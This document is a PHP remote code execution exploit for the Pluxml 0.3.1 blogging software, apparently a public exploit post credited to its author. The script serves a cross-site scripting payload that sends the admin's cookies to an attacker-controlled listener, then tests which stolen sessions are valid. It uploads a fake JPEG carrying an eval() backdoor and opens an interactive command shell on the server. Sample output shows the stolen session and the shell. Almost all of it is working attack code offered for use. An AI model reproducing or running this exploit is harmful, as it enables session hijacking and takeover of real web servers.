Pluxml 0.3.1 Remote Code Execution Exploit

[gmdarkfig () gmail com]

<?php
#
# This file require the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
# Note: The new version is compatible with PHP 4 by default.
##############################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');


# C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
# [/]Waiting for connection on http://90.27.10.196:80/
# [!]Now you have to make the victim to click on the url
# [+]Received 395 bytes from 182.26.54.2:2007
# [+]Sending 366 bytes to 182.26.54.2:2007
# [+]Received 326 bytes from 182.26.54.2:2009
# [+]Sending 366 bytes to 182.26.54.2:2009
# [+]Received 692 bytes from 182.26.54.2:2010
# [!]Received one cookie from 182.26.54.2:2010
# [/]Verifying if there is a valid session id cookie
# [-]No: pollvote=1
# [!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
# [+]The created socket has been shut down
# $shell> whoami
# darkfig
#
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
---------------------------------------------------------------------
             Credits: DarkFig <gmdarkfig () gmail com>
                 URL: acid-root.new.fr || mgsdl.free.fr
                 IRC: #acidroot () irc worldnet net
                Note: Coded for fun 8)
---------------------------------------------------------------------
   Usage: $argv[0] -url <> -ip <> [Options]
  Params: -url       For example http://victim.com/pluxml0.3.1/
          -ip        The IP that will be bound to the socket
 Options: -port      The socket will listen on this port (default=80)
          -proxy     If you wanna use a proxy <proxyhost:proxyport> 
          -proxyauth Basic authentification <proxyuser:proxypwd>
---------------------------------------------------------------------
");exit(1);
}

# PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');

# Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url  = "http://$server_addr:$server_port/";;

# Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";

# Apparently my XSS bypass NoScript protection
################################################
$xss  = "<iframe src='${hack}pluxml/admin/auth.php?msg="
       ."<script>document.location=(".char($server_url.'?c=')
       .".concat(document.cookie))</script>'"
       ." height=0 width=0>";

# Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);

print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";

# Wait until we get admin rights
##################################
while(TRUE)
{
        $packet = '';
        
        if(!$msg = socket_accept($handle))
           exit(1);

        # End of the packet ?
        ######################
        while(!ereg("\r\n\r\n",$packet))
           $packet .= socket_read($msg, 2048, PHP_BINARY_READ);
           
        socket_getpeername($msg, $clientaddr, $clientport);
        print "\n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";

        # Server response
        ##################
        $serv =
         "HTTP 1.x 200 OK\r\n"
        ."Connection: close\r\n"
        ."Transfer-Encoding: chunked\r\n"
        ."Content-Type: text/html\r\n\r\n"
        .$html.$xss."\r\n\r\n";

        # Is there a cookie ?
        #######################
        if(preg_match("#\?c=(\S*) HTTP/1\.([01x]+)#", $packet, $cookies))
        {
                print "\n[!]Received one cookie from $clientaddr:$clientport";
                print "\n[/]Verifying if there is a valid session id cookie";
                $cookie = explode(';%20',$cookies[1]);
                
                foreach($cookie as $session)
                {
                        # Valid session id ?
                        #######################
                        if(is_valid_session($session))
                        
                           # Let's upload a file
                           #######################
                           code_execution();
                }
                print "\n[-]No valid session id cookie found";
                print "\n[/]Always waiting for connection";
        }
        # Answer to the client
        ########################
        else
        {
                print "\n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
                socket_write($msg, $serv, strlen($serv));
        }
        socket_close($msg);
}

# Function which is like getopt()
###################################
function getparam($param,$opt='')
{
        global $argv;
        
        foreach($argv as $value => $key)
        {
                if($key == '-'.$param)
                   return $argv[$value+1];
        }
        
        if($opt)
           exit("-$param parameter required");
        else
           return;
}

# Bypass magic_quotes_gpc
###########################
function char($data)
{
        $char = 'String.fromCharCode(';
        
        for($i=0;$i<strlen($data);$i++)
        {
                $char .= ord($data[$i]);
                if($i != (strlen($data)-1))
                   $char .= ',';
        }
        return $char.')';
}

# Admin session always available ?
###################################
function is_valid_session($session)
{
        global $xpl,$hack;
        
        $xpl->addheader('Cookie',$session);
        $xpl->get($hack.'pluxml/admin/index.php');
        
        if(eregi('Location: auth.php', $xpl->getheader()))
        {
                print "\n[-]No: $session";
                return FALSE;
        }
        else
        {
                print "\n[!]Yes: $session";
                return TRUE;
        }
}

# File upload vulnerability
#############################
function code_execution()
{
        global $xpl,$hack,$msg;
        
        socket_close($msg);
        print "\n[+]The created socket has been shut down";
        
        # +images.php [File Upload Vulnerability]
        # |
        # 11. if(!empty($_FILES)){
        # 12.    $uploaddir = '../../images/';
        # 13.    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
        # 14. if(getimagesize($_FILES['userfile']['tmp_name'])){
        # 15.    move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile);
        # 16.    chmod($uploadfile, 0777);
        # 17.    $msg = 'Image envoyée';
        # 18. }else{
        # 19.    $msg = 'Le fichier n\'est pas une image';
        # 20. }
        # 21. header('Location: images.php?msg='.$msg);
        # 22. }
        #
        # Fake JPG 1x1
        # 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
        # 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
        # 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
        # 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
        # 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
        # 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
        # 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
        # 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?\>.
        #
        $fakejpg =
        "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00"
        ."\x60\x00\x60\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06"
        ."\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B"
        ."\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20"
        ."\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31"
        ."\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF"
        ."\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D\x0D\x18\x32"
        ."\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
        ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
        ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
        ."\x32\x32\x32\x32\x32\x32\x32\x32\xFF\xFE\x00\x7F\x3C\x3F\x70"
        ."\x68\x70\x0D\x0A\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F"
        ."\x53\x45\x52\x56\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45"
        ."\x4C\x4C\x5D\x29\x29\x0D\x0A\x7B\x0D\x0A\x70\x72\x69\x6E\x74"
        ."\x20\x31\x32\x33\x34\x35\x36\x37\x38\x39\x31\x30\x31\x31\x31"
        ."\x32\x3B\x0D\x0A\x65\x76\x61\x6C\x28\x24\x5F\x53\x45\x52\x56"
        ."\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45\x4C\x4C\x5D\x29"
        ."\x3B\x0D\x0A\x70\x72\x69\x6E\x74\x20\x31\x32\x33\x34\x35\x36"
        ."\x37\x38\x39\x31\x30\x31\x31\x31\x32\x3B\x0D\x0A\x7D\x0D\x0A"
        ."\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00"
        ."\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01"
        ."\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02"
        ."\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00"
        ."\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D"
        ."\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61"
        ."\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52"
        ."\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A\x25"
        ."\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45"
        ."\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"
        ."\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83"
        ."\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99"
        ."\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6"
        ."\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3"
        ."\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8"
        ."\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xC4\x00"
        ."\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00"
        ."\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B"
        ."\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05"
        ."\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31"
        ."\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91"
        ."\xA1\xB1\xC1\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24"
        ."\x34\xE1\x25\xF1\x17\x18\x19\x1A\x26\x27\x28\x29\x2A\x35\x36"
        ."\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55"
        ."\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74"
        ."\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A"
        ."\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"
        ."\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4"
        ."\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA"
        ."\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7"
        ."\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
        ."\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\xD9";
        
        $formdata = array(
                    frmdt_url => $hack.'pluxml/admin/images.php',
                    'userfile' => array(
                                  frmdt_filename => 'iwashere.php',
                                  frmdt_content => $fakejpg));

        $xpl->formdata($formdata);
        print "\n\$shell> ";

        while(!preg_match('#^(quit|exit)$#', ($cmd = trim(fgets(STDIN)))))
        {
                # $shell> cat ../pluxml/conf/password.xml
                ########################################
                $xpl->addheader('Shell',"system('$cmd');");
                $xpl->get($hack.'images/iwashere.php');
                $content = explode('1.23456789101E+014',$xpl->getcontent());
                print $content[1]."\n\$shell> ";
        }
        exit(0);
}

?>